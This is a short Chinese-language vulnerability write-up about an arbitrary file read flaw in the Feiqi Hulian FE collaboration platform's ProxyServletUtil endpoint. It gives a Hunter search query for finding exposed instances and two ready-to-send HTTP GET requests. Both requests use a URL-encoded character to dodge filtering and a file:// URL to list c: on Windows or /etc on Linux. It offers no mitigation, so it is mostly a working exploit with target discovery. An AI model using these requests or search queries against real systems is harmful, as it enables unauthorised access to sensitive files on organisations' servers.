飞企互联 FE 业务协作平台ProxyServletUti存在任意文件读取漏洞
一、漏洞简介
FE 办公协作平台是实现应用开发、运行、管理、维护的信息管理平台。飞企互联 FE 业务协作平台存在文件读取漏洞，攻击者可通过该漏洞读取系统重要文件获取大量敏感信息。
二、影响版本
- 飞企互联FE业务协作平台
三、资产测绘
- hunter
app.name=="飞企互联 FE 6.0+"||app.name=="飞企互联 FE" - 登录页面
四、漏洞复现
windows
GET /ProxyServletUti%6c?url=file:///c: HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
linux
GET /ProxyServletUti%6c?url=file:///etc HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate